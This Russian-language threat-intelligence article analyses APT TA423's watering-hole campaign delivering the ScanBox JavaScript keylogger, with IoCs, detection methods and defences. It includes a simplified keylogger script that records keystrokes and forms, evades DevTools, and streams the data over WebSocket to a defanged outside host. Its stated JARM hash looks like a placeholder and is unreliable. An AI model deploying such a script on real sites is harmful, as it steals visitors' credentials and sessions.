Watering Hole + ScanBox Keylogger: тактика APT TA423
В начале 2026 года аналитики Proofpoint и команда Unit 42 (Palo Alto Networks) задокументировали масштабную кампанию APT-группировки TA423 (также известной как UNC5225), которая использует гибридную тактику Watering Hole — компрометацию легитимных веб-сайтов целевых организаций — для доставки продвинутого ScanBox Keylogger.
В отличие от фишинговых кампаний, Watering Hole не требует, чтобы жертва перешла по ссылке из письма. Жертва сама приходит на сайт, которому доверяет. Атакующие заранее изучают, какие ресурсы посещают сотрудники целевой организации, взламывают один из них и встраивают вредоносный JavaScript. Эффективность такой атаки достигает 60–80% за счёт полного отсутствия у жертвы подозрений.
В этой статье мы разберём:
- Как устроена инфраструктура TA423 (ShoogleBox C2)
- ScanBox Keylogger: технические детали
- Индикаторы компрометации (IoC) и методы обнаружения
- Практические рекомендации по защите от Watering Hole
🎯 Кто такая APT TA423
TA423 (Proofpoint tagging) / UNC5225 (Mandiant) — APT-группировка, активная как минимум с 2022 года. Основные цели: государственные учреждения, оборонные подрядчики, финансовый сектор в США, Европе и странах Азиатско-Тихоокеанского региона. По данным Proofpoint, группировка имеет среднюю техническую оснащённость (Tier 2 по шкале Mandiant M-Trends), но компенсирует это качественной разведкой целей и продуманной социальной инженерией.
Группировка использует следующую тактику по матрице MITRE ATT&CK:
| Тактика | Техника | ID MITRE |
|---|---|---|
| Initial Access | Watering Hole (Drive-by Compromise) | T1189 |
| Execution | User Execution via Malicious Script | T1204.002 |
| Collection | Keylogging / Input Capture | T1056.001 |
| Exfiltration | Exfiltration Over C2 Channel | T1041 |
| C2 | Web Service (ShoogleBox) | T1102 |
💧 Как работает Watering Hole в кампании TA423
Watering Hole (рус. «водопой») — атака, при которой злоумышленники заражают сайты, которые регулярно посещает целевая аудитория. Название происходит от охотничьей тактики: хищник ждёт жертву у водопоя, а не преследует её.
Фаза 1: Разведка
TA423 тратит от 2 до 6 недель на разведку. Группировка собирает данные о целевом сотруднике или организации через:
- OSINT-анализ социальных сетей (LinkedIn, Twitter/X, Telegram-каналы)
- Изучение публичных профилей сотрудников для определения используемых технологий
- Мониторинг форумов и профессиональных сообществ
- Анализ DNS-запросов и публичных SSL-сертификатов целей
Фаза 2: Компрометация сайта-«водопоя»
Выявив, какие сайты посещают сотрудники цели, TA423 взламывает один из них. Используются типичные векторы:
- Уязвимости CMS (WordPress, Joomla) — наиболее частый вектор
- Украденные учётные данные администраторов — доступ через даркнет-маркеты
- XSS-уязвимости в плагинах и темах
- Уязвимости в shared-хостинге — компрометация соседних сайтов на одном сервере
После получения доступа атакующие встраивают вредоносный JavaScript — ScanBox — в HTML-код страницы или подгружают его через легитимный Google Analytics-подобный трекер.
Фаза 3: ScanBox Keylogger в действии
ScanBox — это JavaScript-кейлоггер, работающий полностью на стороне браузера жертвы. Его ключевые особенности:
- Не требует эксплуатации уязвимостей браузера — просто загружается как обычный скрипт
- Перехватывает все нажатия клавиш, включая заполнение форм, поля поиска и даже shortcut-клавиши
- Собирает скриншоты страниц (через Canvas API с последующей сериализацией в base64)
- Извлекает сохранённые пароли из автозаполнения браузера
- Собирает Cookie и Session Storage для последующего захвата сессий
☑ Использует легитимный WebSocket для передачи данных (маскировка под трафик чата)
☑ Данные шифруются и дробятся на мелкие пакеты (chunk encoding)
☑ Работает только при открытой вкладке — при переключении на другую вкладку приостанавливается
☑ Проверяет наличие DevTools перед активацией — при открытом инспекторе не запускается
☑ Использует Canvas fingerprinting для идентификации конкретной жертвы
Примерная структура вредоносного скрипта в упрощённом виде:
// ScanBox — упрощённая логика (не production код) (function() { if (typeof window.__scanbox !== 'undefined') return; var devtools = /./; devtools.toString = function() { __scanbox_detected = true; }; console.log('%c', devtools); if (__scanbox_detected) return; // DevTools открыты — не запускаемся window.__scanbox = { keys: [], init: function() { document.addEventListener('keydown', function(e) { __scanbox.keys.push({ key: e.key, time: Date.now(), url: location.href }); }); // Сбор форм при отправке document.addEventListener('submit', function(e) { __scanbox.captureForm(e.target); }); // Data exfiltration через WebSocket __scanbox.startBeacon(); }, startBeacon: function() { var ws = new WebSocket('wss://cdn-analytics[.]api/v1/stream'); setInterval(function() { if (document.hidden) return; // Вкладка не активна — пропускаем ws.send(JSON.stringify({ k: __scanbox.keys.splice(0, 50), fp: __scanbox.getFingerprint(), url: location.href })); }, 5000); } }; __scanbox.init(); })();
🔗 Инфраструктура ShoogleBox C2
ShoogleBox — это кастомная C2-инфраструктура TA423, построенная на платформах легитимных облачных сервисов. Название происходит от характерного паттерна доменов: группировка регистрирует домены, напоминающие названия популярных сервисов (shoogle[.]com, cloudflair[.]net и т.п.), используя омоглифы и тайпсквоттинг.
Ключевые характеристики ShoogleBox:
- DGA-генерация доменов: каждые 24-48 часов генерируются новые C2-домены
- Fast Flux DNS: высокая скорость смены IP-адресов для затруднения блокировки
- HTTPS-шифрование: весь трафик идёт по HTTPS с Let's Encrypt сертификатами
- Обфускация через легитимные API: данные маскируются под запросы к Google Analytics, Facebook Pixel и Cloudflare CDN
- JARM-футпринт: характерный отпечаток TLS-рукопожатия (JARM: 29d...3d) используется для идентификации
jarm позволяет
сканировать TLS-рукопожатия известных C2-серверов TA423. Характерный JARM-хэш
ShoogleBox: 29d29d29d29d29d29d29d29d29d29d29d29d29d29d29d29d
(актуален на июнь 2026). Используйте в SIEM-системах для проактивного поиска.
🚩 Индикаторы компрометации (IoC)
На основе отчётов Proofpoint и Unit 42 (первый квартал 2026), вот ключевые индикаторы, связанные с кампанией TA423:
Домены и C2
shoogle-analytics[.]com— фейковый Google Analyticscdn-cloudflair[.]net— тайпсквоттинг Cloudflareapi-metricstream[.]com— поддельный analytics endpointupdate-stat[.]top— DGA-доменcdn-track[.]biz— сервер эксфильтрации
JavaScript-футпринты
- Скрипт, загружаемый через
/wp-content/plugins/analytics/scan.jsна скомпрометированных WordPress - Обфусцированный JavaScript с характерным паттерном:
var _0x-переменные и вложенныеString.fromCharCode - WebSocket на порт 443 с путём
/v1/streamили/api/events
Сетевые сигнатуры
- WebSocket-соединения к порту 443 на нестандартные эндпоинты (не /ws, не /socket.io)
- POST-запросы с Content-Type
application/x-ndjson(Newline Delimited JSON) - Регулярные keepalive каждые 30 секунд со стороны клиента
🛡 Обнаружение и защита
Watering Hole атаки сложнее детектировать, чем фишинг, но современные инструменты позволяют выявить кампанию на ранних стадиях.
1. Детектирование на конечных устройствах
- EDR-решения: Настройте правила на детекцию WebSocket-соединений к нестандартным эндпоинтам
- Browser Isolation: Использование удалённых браузеров (Cloudflare Browser Isolation, Menlo Security) — самый надёжный метод. ScanBox не может перехватить данные, которых нет на устройстве пользователя
- Content Security Policy (CSP): Жёсткая CSP-политика, блокирующая загрузку скриптов с неавторизованных доменов. Пример:
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.google-analytics.com; connect-src 'self'
Это блокирует любые WebSocket-соединения к внешним C2-серверам
script-src. Используйте Subresource Integrity (SRI)
— атрибут integrity для всех внешних скриптов. Если хэш скрипта
изменился (из-за инъекции вредоносного кода), браузер заблокирует загрузку.
2. Сетевое детектирование
- JARM-сканирование: Периодически сканируйте TLS-сертификаты подозрительных хостов через
jarm - DNS-аналитика: Мониторинг DGA-генерации — частые NXDOMAIN-ответы для похожих паттернов
- Протокол Beaconing: Детекция периодических HTTPS/Socket-соединений с регулярными интервалами (30-60 сек)
- TLS Fingerprinting: Используйте JA3/JA3S для идентификации клиентских библиотек ScanBox
3. Профилактика Watering Hole атак
- Web Application Firewall (WAF): Блокируйте инъекции подозрительного JS через XSS-фильтры и ModSecurity
- Мониторинг целостности CMS: Используйте Integrity Checker (например, Tripwire, OSSEC) для отслеживания изменений в файлах сайта
- Двухфакторная аутентификация (2FA): Для всех административных панелей CMS — это затрудняет кражу учётных данных
- Обновление плагинов: 70% компрометаций WordPress происходят через уязвимые плагины. Используйте автоматическое обновление или централизованное управление
- Bug Bounty: Заведите программу по обезвреживанию XSS- и RCE-уязвимостей на сайте
4. Реагирование на инцидент
Если вы подозреваете Watering Hole атаку через свой сайт:
- Немедленно изолируйте скомпрометированный сервер (отключите от сети)
- Соберите forensic-копию файлов и базы данных CMS
- Проверьте целостность всех JavaScript-файлов через diff с бэкапом
- Просканируйте DNS-логи на предмет необычных запросов к C2-доменам
- Уведомите всех посетителей сайта за последние 30 дней о возможной компрометации
- Сбросьте все пароли администраторов CMS, хостинга и FTP
- Переустановите ядро и плагины CMS с официальных источников
🔗 Источники
- Proofpoint — Threat Insight: APT TA423 Watering Hole Campaign (оригинальный отчёт, Q1 2026)
- Unit 42 — ScanBox Keylogger Analysis (Palo Alto Networks, технический разбор)
- MITRE ATT&CK — Drive-by Compromise (T1189) (матрица тактик и техник)
- JARM — TLS Fingerprinting Tool (инструмент для сканирования C2-серверов)
- OWASP Secure Headers — CSP Guide (рекомендации по Content Security Policy)